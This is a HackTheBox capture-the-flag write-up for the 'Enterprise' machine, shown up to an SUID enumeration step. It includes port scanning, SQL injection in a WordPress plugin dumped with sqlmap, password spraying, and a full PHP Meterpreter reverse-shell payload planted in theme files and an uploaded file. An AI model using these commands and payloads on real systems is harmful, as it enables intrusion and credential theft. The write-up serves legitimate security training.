Post

HackTheBox Enterprise

Writeup for HackTheBox Enterprise

HackTheBox Enterprise

Machine Synopsis

Enterprise is one of the more challenging machines on Hack The Box. It requires a wide range of knowledge and skills to successfully exploit. It features a custom wordpress plugin and a buffer overflow vulnerability that can be exploited both locally and remotely. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
❯ nmap -p- --min-rate 10000 10.10.10.61

PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
443/tcp   open     https
5355/tcp  filtered llmnr
8080/tcp  open     http-proxy
32812/tcp open     unknown

❯ nmap -sC -sV -p22,80,443,5355,8080,32812 10.10.10.61

PORT      STATE    SERVICE  VERSION
22/tcp    open     ssh      OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:e9:8c:c5:b5:52:23:f4:b8:ce:d1:96:4a:c0:fa:ac (RSA)
|   256 f3:9a:85:58:aa:d9:81:38:2d:ea:15:18:f7:8e:dd:42 (ECDSA)
|_  256 de:bf:11:6d:c0:27:e3:fc:1b:34:c0:4f:4f:6c:76:8b (ED25519)
80/tcp    open     http     Apache httpd 2.4.10 ((Debian))
|_http-generator: WordPress 4.8.1
|_http-title: USS Enterprise – Ships Log
|_http-server-header: Apache/2.4.10 (Debian)
443/tcp   open     ssl/http Apache httpd 2.4.25 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.25 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=enterprise.local/organizationName=USS Enterprise/stateOrProvinceName=United Federation of Planets/countryName=UK
| Not valid before: 2017-08-25T10:35:14
|_Not valid after:  2017-09-24T10:35:14
| tls-alpn: 
|_  http/1.1
5355/tcp  filtered llmnr
8080/tcp  open     http     Apache httpd 2.4.10 ((Debian))
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.10 (Debian)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
32812/tcp open     unknown
| fingerprint-strings: 
|   GenericLines, GetRequest, HTTPOptions: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|     Enter Bridge Access Code: 
|     Invalid Code
|     Terminating Console
|   NULL: 
|     _______ _______ ______ _______
|     |_____| |_____/ |______
|     |_____ |_____ | | | _ ______|
|     Welcome to the Library Computer Access and Retrieval System
|_    Enter Bridge Access Code:

Initially, the website seemed very basic as it could not load all of the elements from the domain enterprise.htb. Let’s add the domain to our /etc/hosts and try again.

1
echo -e '10.10.10.61\t\tenterprise.htb' | sudo tee -a /etc/hosts

webpage

Since we know that the website is running on WordPress, we can run wpscan to find known vulnerabilities.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ wpscan --url http://enterprise.htb -e --api-token <token>
...
[i] User(s) Identified:

[+] william.riker
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] william-riker
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
...

There were a lot of vulnerabilities shown but none seemed to be useful. The only possible useful information was the user william-riker.

1
2
3
4
5
6
7
8
❯ ffuf -u http://enterprise.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php -fc 401,403,404
...
wp-login.php            [Status: 200, Size: 2428, Words: 150, Lines: 70, Duration: 35ms]
wp-content              [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 488ms]
wp-trackback.php        [Status: 200, Size: 135, Words: 11, Lines: 5, Duration: 35ms]
wp-includes             [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 962ms]
wp-config.php           [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
...

There was nothing much interesting. Lets try to target port 443 instead.

Accessing https://enterprise.htb brings us to the default Apache2 webpage.

There are some interesting information when you view the TLS certificate.

1
2
Common Name		enterprise.local
Email Address   jeanlucpicard@enterprise.local

Lets brute force for possible directories.

1
2
3
4
❯ ffuf -u https://enterprise.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php -fc 401,403,404
...
files                   [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 4ms]
...

There is a files endpoint which seems interesting.

files_endpoint

It looks like the endpoint is hosting a lcars.zip file which is most likely a WordPress plugin.

1
2
3
4
5
6
❯ wget https://enterprise.htb/files/lcars.zip --no-check-certificate
❯ unzip lcars.zip
Archive:  lcars.zip
  inflating: lcars/lcars_db.php      
  inflating: lcars/lcars_dbpost.php  
  inflating: lcars/lcars.php  

These files will be our key to getting initial access and will be explained later.

Before that, lets not forget to check out port 8080 as well.

port_8080_webpage

Lets enumerate for any hidden directories as well.

1
2
3
4
5
6
7
8
❯ ffuf -u http://enterprise.htb:8080/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -e .php -fc 401,403,404
...
cache                   [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 15ms]
language                [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 4ms]
tmp                     [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 7ms]
index.php               [Status: 200, Size: 7704, Words: 345, Lines: 210, Duration: 287ms]
administrator           [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 4ms]
...

There is an interesting administrator endpoint which leads to a Joomla login page.

joomla_login_page

Lastly, lets take a quick look at port 32812.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ nc 10.10.10.61 32812

                 _______ _______  ______ _______
          |      |       |_____| |_____/ |______
          |_____ |_____  |     | |    \_ ______|

Welcome to the Library Computer Access and Retrieval System

Enter Bridge Access Code: 
test

Invalid Code
Terminating Console

Exploitation

Lets check out the WordPress plugin lcars.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ curl http://enterprise.htb/wp-content/plugins/lcars/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /wp-content/plugins/lcars/
on this server.<br />
</p>
<hr>
<address>Apache/2.4.10 (Debian) Server at enterprise.htb Port 80</address>
</body></html>

❯ curl http://enterprise.htb/wp-content/plugins/lcars/lcars.php
<nothing returned> 

❯ curl http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php
Failed to read query 

❯ curl http://enterprise.htb/wp-content/plugins/lcars/lcars_dbpost.php
Failed to read query 

The responses shows that the plugin and files exists.

Lets analyze the source code of lcars.zip file downloaded from the files endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
cat lcars/lcars.php
<?php
/*
*     Plugin Name: lcars
*     Plugin URI: enterprise.htb
*     Description: Library Computer Access And Retrieval System
*     Author: Geordi La Forge
*     Version: 0.2
*     Author URI: enterprise.htb
*                             */

// Need to create the user interface. 

// need to finsih the db interface

// need to make it secure

?> 

❯ cat lcars/lcars_dbpost.php
<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
    // Connection Error
    exit("Couldn't connect to the database: ".mysqli_connect_error());
}


// test to retireve a post name
if (isset($_GET['query'])){
    $query = (int)$_GET['query'];
    $sql = "SELECT post_title FROM wp_posts WHERE ID = $query";
    $result = $db->query($sql);
    if ($result){
        $row = $result->fetch_row();
        if (isset($row[0])){
            echo $row[0];
        }
    }
} else {
    echo "Failed to read query";
}


?> 

Looking at lcars_dbpost.php, it seems like we can query the database using the GET parameter query.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
for i in {0..100}; do echo -n "$i: "; curl -s 'http://enterprise.htb/wp-content/plugins/lcars/lcars_dbpost.php?query='$i; done | grep .
0:  
1: Hello world! 
2:  
3: Auto Draft 
4: Espresso 
5: Sandwich 
6: Coffee 
7: Home 
8: About 
9: Contact 
10: Blog 
11: A homepage section 
12:  
13: enterprise_header 
14: Espresso 
15: Sandwich 
16: Coffee 
...
23: enterprise_header 
24: cropped-enterprise_header-1.jpg 
...
30: Home 
...
34: Yelp 
35: Facebook 
36: Twitter 
37: Instagram 
38: Email 
39:  
40: Hello world! 
...
51: Stardate 49827.5 
52: Stardate 49827.5 
53: Stardate 50893.5 
54: Stardate 50893.5 
55: Stardate 52179.4 
56: Stardate 52179.4 
57: Stardate 55132.2 
58: Stardate 55132.2 
... 
66: Passwords 
67: Passwords 
68: Passwords 
69: YAYAYAYAY. 
70: YAYAYAYAY. 
71: test 
...
78: YAYAYAYAY. 
...

grep . is used to filter lines that are not empty.

Looking at lcars_db.php, it seems like we can also query the database using the GET parameter query.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
cat lcars/lcars_db.php
<?php
include "/var/www/html/wp-config.php";
$db = new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
// Test the connection:
if (mysqli_connect_errno()){
    // Connection Error
    exit("Couldn't connect to the database: ".mysqli_connect_error());
}


// test to retireve an ID
if (isset($_GET['query'])){
    $query = $_GET['query'];
    $sql = "SELECT ID FROM wp_posts WHERE post_name = $query";
    $result = $db->query($sql);
    echo $result;
} else {
    echo "Failed to read query";
}


?> 
1
2
3
❯ curl 'http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1'
<br />
<b>Catchable fatal error</b>:  Object of class mysqli_result could not be converted to string in <b>/var/www/html/wp-content/plugins/lcars/lcars_db.php</b> on line <b>16</b><br />

However, the webpage returns us an error. This is most likely because the code is expecting a string but the query is an object instead.

Lets use sqlmap to automate the process since we can guess that this is most likely a SQL injection vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
❯ sqlmap -u 'http://enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1' --batch --dump
...

❯ cat /home/shiro/.local/share/sqlmap/output/enterprise.htb/dump/wordpress/wp_posts.csv | grep "Passwords"
66,http://enterprise.htb/?p=66,<blank>,<blank>,2017-09-06 15:40:30,<blank>,post,0,Passwords,open,1,0,draft,Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n ,<blank>,0,0000-00-00 00:00:00,2017-09-06 15:40:30,<blank>,open,<blank>,2017-09-06 14:40:30,<blank>
67,http://enterprise.htb/?p=67,<blank>,<blank>,2017-09-06 15:28:35,66-revision-v1,revision,0,Passwords,closed,1,66,inherit,Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n ,<blank>,0,2017-09-06 14:28:35,2017-09-06 15:28:35,<blank>,closed,<blank>,2017-09-06 14:28:35,<blank>
68,http://enterprise.htb/?p=68,<blank>,<blank>,2017-09-06 15:40:30,66-revision-v1,revision,0,Passwords,closed,1,66,inherit,Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n ,<blank>,0,2017-09-06 14:40:30,2017-09-06 15:40:30,<blank>,closed,<blank>,2017-09-06 14:40:30,<blank>

❯ cat /home/shiro/.local/share/sqlmap/output/enterprise.htb/dump/wordpress/wp_posts.csv | grep "Passwords" | cut -d ',' -f14
Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n 
Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n 
Needed somewhere to put some passwords quickly\r\n\r\nZxJyhGem4k338S2Y\r\n\r\nenterprisencc170\r\n\r\nZD3YxfnSjezg67JZ\r\n\r\nu*Z14ru0p#ttj83zS6\r\n\r\n \r\n\r\n 

It seems like there are some possible password values in wp_posts. Lets store them in passwords.txt.

1
2
3
4
5
cat passwords.txt
enterprisencc170
u*Z14ru0p#ttj83zS6
ZD3YxfnSjezg67JZ
ZxJyhGem4k338S2Y

Lets get a list of possible users too.

1
2
3
cat /home/shiro/.local/share/sqlmap/output/enterprise.htb/dump/wordpress/wp_users.csv
ID,user_url,user_pass,user_email,user_login,user_status,display_name,user_nicename,user_registered,user_activation_key
1,<blank>,$P$BFf47EOgXrJB3ozBRZkjYcleng2Q.2.,william.riker@enterprise.htb,william.riker,0,william.riker,william-riker,2017-09-03 19:20:56,<blank>

Remember that there is another joomladb that we can dump as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ sqlmap -u 'enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1' --batch --dbs
...
available databases [8]:
[*] information_schema
[*] joomla
[*] joomladb
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress
[*] wordpressdb

❯ sqlmap -u 'enterprise.htb/wp-content/plugins/lcars/lcars_db.php?query=1' --batch --dbs -D joomladb --dumpcat /home/shiro/.local/share/sqlmap/output/enterprise.htb/dump/joomladb/edz2g_users.csv
id,otep,email,name,otpKey,params,block,password,username,sendEmail,activation,resetCount,registerDate,requireReset,lastResetTime,lastvisitDate
400,<blank>,geordi.la.forge@enterprise.htb,Super User,<blank>,"{""admin_style"":"""",""admin_language"":"""",""language"":"""",""editor"":"""",""helpsite"":"""",""timezone"":""""}",0,$2y$10$cXSgEkNQGBBUneDKXq9gU.8RAf37GyN7JIrPE7us9UBMR9uDDKaWy,geordi.la.forge,1,0,0,2017-09-03 19:30:04,0,0000-00-00 00:00:00,2017-10-17 04:24:50
401,<blank>,guinan@enterprise.htb,Guinan,<blank>,"{""admin_style"":"""",""admin_language"":"""",""language"":"""",""editor"":"""",""helpsite"":"""",""timezone"":""""}",0,$2y$10$90gyQVv7oL6CCN8lF/0LYulrjKRExceg2i0147/Ewpb6tBzHaqL2q,Guinan,0,<blank>,0,2017-09-06 12:38:03,0,0000-00-00 00:00:00,0000-00-00 00:00:00

Now we can combine all the users that we found into users.txt.

1
2
3
4
cat users.txt
william.riker
geordi.la.forge
guinan

Lets try spraying the credentials found with wpscan.

1
2
3
4
5
❯ wpscan --url http://enterprise.htb/ -U users.txt -P passwords.txt
...
[+] Performing password attack on Xmlrpc against 3 user/s
[SUCCESS] - william.riker / u*Z14ru0p#ttj83zS6
...

Nice, we found a valid credential william.riker:u*Z14ru0p#ttj83zS6! Lets login to http://enterprise.htb/wp-login.php.

wordpress_dashboard

Usually for WordPress sites, the attack vector is to spawn a reverse shell from the plugins or themes. Lets generate a reverse shell with msfvenom.

1
2
3
4
❯ msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.13 lport=1337 -f raw > poc.php

❯ cat poc.php
/*<?php /**/ error_reporting(0); $ip = '10.10.14.13'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();%

On the WordPress dashboard, go to Appearance –> Editor –> 404.php and replace the source code with our malicious php code.

wordpress_theme_update

Access a URL that will throw an error (e.g. http://enterprise.htb/?p=1337) to trigger the payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 1337
lport => 1337
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.13:1337 
[*] Sending stage (40004 bytes) to 10.10.10.61
[*] Meterpreter session 1 opened (10.10.14.13:1337 -> 10.10.10.61:41676)
meterpreter > shell
Process 396 created.
Channel 0 created.

whoami
www-data

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Since there is no python installed on this box, we can use script to spawn an interactive shell.

1
2
3
4
5
6
7
8
9
10
11
12
script /dev/null -c bash
www-data@b8319d86d21e:/var/www/html$ 
www-data@b8319d86d21e:/var/www/html$ cd /home

www-data@b8319d86d21e:/home$ ls
user.txt

www-data@b8319d86d21e:/home$ cat user.txt
As you take a look around at your surroundings you realise there is something wrong.
This is not the Enterprise!
As you try to interact with a console it dawns on you.
Your in the Holodeck!

This is not the real user.txt. Lets enumerate around.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
www-data@b8319d86d21e:/var/www/html$ cd /
www-data@b8319d86d21e:/$ ls -la
total 72
drwxr-xr-x  73 root root 4096 May 30  2022 .
drwxr-xr-x  73 root root 4096 May 30  2022 ..
-rwxr-xr-x   1 root root    0 Sep  3  2017 .dockerenv
drwxr-xr-x   2 root root 4096 May 30  2022 bin
drwxr-xr-x   2 root root 4096 May 30  2022 boot
drwxr-xr-x   5 root root  340 Jan 15 01:50 dev
drwxr-xr-x  70 root root 4096 May 30  2022 etc
drwxr-xr-x   2 root root 4096 May 30  2022 home
drwxr-xr-x  13 root root 4096 May 30  2022 lib
drwxr-xr-x   2 root root 4096 May 30  2022 lib64
drwxr-xr-x   2 root root 4096 May 30  2022 media
drwxr-xr-x   2 root root 4096 May 30  2022 mnt
drwxr-xr-x   2 root root 4096 May 30  2022 opt
dr-xr-xr-x 233 root root    0 Jan 15 01:50 proc
drwx------   2 root root 4096 May 30  2022 root
drwxr-xr-x   7 root root 4096 May 30  2022 run
drwxr-xr-x   2 root root 4096 May 30  2022 sbin
drwxr-xr-x   2 root root 4096 May 30  2022 srv
dr-xr-xr-x  13 root root    0 Jan 15 01:50 sys
drwxrwxrwt   3 root root 4096 Jan 15 01:50 tmp
drwxr-xr-x  44 root root 4096 May 30  2022 usr
drwxr-xr-x  33 root root 4096 May 30  2022 var

This looks like a docker instance because of the .dockerenv file.

Lets try reading the wp-config.php contents.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@b8319d86d21e:/var/www/html$ cat wp-config.php
...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'NCC-1701E');

/** MySQL hostname */
define('DB_HOST', 'mysql');
...

It looks like there is a mysql credential hardcoded in it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@b8319d86d21e:/var/www/html$ ss -ant
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port 
LISTEN     0      128                       *:80                       *:*     
ESTAB      0      0                172.17.0.3:41878          10.10.14.13:1337  
CLOSE-WAIT 1      0                172.17.0.3:80             10.10.14.13:51638 
ESTAB      0      0                172.17.0.3:41676          10.10.14.13:1337  
ESTAB      0      0                172.17.0.3:43256           172.17.0.2:3306  
ESTAB      0      0                172.17.0.3:43028           172.17.0.2:3306  
ESTAB      0      0                172.17.0.3:42906           172.17.0.2:3306  
CLOSE-WAIT 1      0                172.17.0.3:80             10.10.14.13:42162 
ESTAB      0      0                172.17.0.3:80             10.10.14.13:49632 
ESTAB      0      0                172.17.0.3:80             10.10.14.13:42844 
ESTAB      0      0                172.17.0.3:41756          10.10.14.13:1337  
ESTAB      0      0                172.17.0.3:42826           172.17.0.2:3306  
ESTAB      0      0                172.17.0.3:42106          10.10.14.13:1337  

It seems like the IP for this docker box is 172.17.0.3 while the SQL server is running on 172.17.0.2.

There seems to be nothing much we can do from here so lets look for another way instead.

Recall that we found a Joomla login page earlier?

We can try if any of the credentials found works.

joomla_dashboard

joomla_templates

joomla_template_update

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.13:1337 
[*] Sending stage (40004 bytes) to 10.10.10.61
[*] Meterpreter session 5 opened (10.10.14.13:1337 -> 10.10.10.61:40024)
meterpreter > shell
Process 90 created.
Channel 0 created.
www-data@a7018bfdc454:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@a7018bfdc454:/var/www/html$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:04 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.4/16 scope global eth0
       valid_lft forever preferred_lft forever

It looks like our IP address now is 172.17.0.4. Lets enumerate around.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
www-data@a7018bfdc454:/var/www/html$ ls -l
ls -l
total 16976
-rw-r--r--  1 www-data www-data   18092 Aug 14  2017 LICENSE.txt
-rw-r--r--  1 www-data www-data    4874 Aug 14  2017 README.txt
drwxr-xr-x 11 www-data www-data    4096 May 30  2022 administrator
drwxr-xr-x  2 www-data www-data    4096 May 30  2022 bin
drwxr-xr-x  2 www-data www-data    4096 May 30  2022 cache
drwxr-xr-x  2 www-data www-data    4096 May 30  2022 cli
drwxr-xr-x 20 www-data www-data    4096 May 30  2022 components
-r--r--r--  1 www-data www-data    3053 Sep  6  2017 configuration.php
-rwxrwxr-x  1 www-data www-data    3131 Sep  7  2017 entrypoint.sh
drwxrwxrwx  2 root     root        4096 Oct 17  2017 files
-rw-rw-rw-  1 www-data www-data 5457775 Sep  8  2017 fs.out
-rw-rw-rw-  1 www-data www-data 8005634 Sep  8  2017 fsall.out
-rw-rw-rw-  1 www-data www-data 2044787 Sep  7  2017 goonthen.txt
-rw-r--r--  1 www-data www-data    3005 Aug 14  2017 htaccess.txt
drwxr-xr-x  5 www-data www-data    4096 May 30  2022 images
drwxr-xr-x  2 www-data www-data    4096 May 30  2022 includes
-rw-r--r--  1 www-data www-data    1420 Aug 14  2017 index.php
drwxr-xr-x  4 www-data www-data    4096 May 30  2022 language
drwxr-xr-x  5 www-data www-data    4096 May 30  2022 layouts
drwxr-xr-x 11 www-data www-data    4096 May 30  2022 libraries
-rw-rw-r--  1 www-data www-data     968 Sep  7  2017 makedb
-rw-rw-r--  1 www-data www-data     968 Sep  7  2017 makedb.php
drwxr-xr-x 26 www-data www-data    4096 May 30  2022 media
-rw-rw-rw-  1 www-data www-data 1474911 Sep  7  2017 mod.out
drwxr-xr-x 27 www-data www-data    4096 May 30  2022 modules
-rw-rw-rw-  1 www-data www-data  252614 Sep  7  2017 onemoretry.txt
-rw-rw-rw-  1 www-data www-data     793 Sep  8  2017 out.zip
drwxr-xr-x 16 www-data www-data    4096 May 30  2022 plugins
-rw-r--r--  1 www-data www-data     836 Aug 14  2017 robots.txt
drwxr-xr-x  5 www-data www-data    4096 May 30  2022 templates
drwxr-xr-x  2 www-data www-data    4096 May 30  2022 tmp
-rw-r--r--  1 www-data www-data    1690 Aug 14  2017 web.config.txt
-rw-r--r--  1 www-data www-data    3736 Sep  6  2017 wordpress-shell.php

Snooping around the home directory, we find a very interesting yet familiar directory, files.

Could this be the files directory from https://enterprise.htb/files?

1
2
3
www-data@a7018bfdc454:/var/www/html$ cd files
www-data@a7018bfdc454:/var/www/html/files$ ls -l
-rw-r--r-- 1 root root 1406 Oct 17  2017 lcars.zip

It looks like it! Lets test out if a newly created file is visible over https://enterprise.htb/files.

1
www-data@a7018bfdc454:/var/www/html/files$ echo 'testing' > test.txt
1
2
❯ curl -k https://enterprise.htb/files/test.txt
testing

Nice! Now lets spawn a reverse shell from the https server. We can upload our previously generated malicious poc.php to the files directory.

1
meterpreter > upload poc.php /var/www/html/files

Thereafter, access https://enterprise.htb/files/poc.php to trigger the payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
msf6 exploit(multi/handler) > run -j
[*] Sending stage (40004 bytes) to 10.10.10.61
[*] Meterpreter session 10 opened (10.10.14.13:1337 -> 10.10.10.61:33650)
msf6 exploit(multi/handler) > sessions -i 10
[*] Starting interaction with 10...
meterpreter > shell
Process 15334 created.
Channel 0 created.

script /dev/null -c bash
Script started, file is /dev/null

www-data@enterprise:/var/www/html/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@enterprise:/var/www/html/files$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:8e:6d brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.61/24 brd 10.10.10.255 scope global ens33
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:8e6d/64 scope global mngtmpaddr dynamic 
       valid_lft 86395sec preferred_lft 14395sec
    inet6 fe80::250:56ff:feb9:8e6d/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:2c:db:51:aa brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:2cff:fedb:51aa/64 scope link 
       valid_lft forever preferred_lft forever
5: veth7def93b@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether 96:80:86:f0:3f:c7 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::9480:86ff:fef0:3fc7/64 scope link 
       valid_lft forever preferred_lft forever
7: veth2b22f9c@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether be:a8:c5:c6:2b:9c brd ff:ff:ff:ff:ff:ff link-netnsid 1
    inet6 fe80::bca8:c5ff:fec6:2b9c/64 scope link 
       valid_lft forever preferred_lft forever
9: veth7d91174@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default 
    link/ether 2a:b8:d4:ec:54:d6 brd ff:ff:ff:ff:ff:ff link-netnsid 2
    inet6 fe80::28b8:d4ff:feec:54d6/64 scope link 
       valid_lft forever preferred_lft forever

www-data@enterprise:/var/www/html/files$ cd /home
www-data@enterprise:/home$ ls
jeanlucpicard

www-data@enterprise:/home$ cd jeanlucpicard
www-data@enterprise:/home/jeanlucpicard$ ls
user.txt

www-data@enterprise:/home/jeanlucpicard$ cat user.txt
287db7d160e45271b7393ce30dfc9740

Privilege Escalation

Lets enumerate for files with SUID bit set.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
www-data@enterprise:/home/jeanlucpicard$ find / -type f -perm -4000 2>/dev/null
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/at
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/chsh
/bin/umount
/bin/su
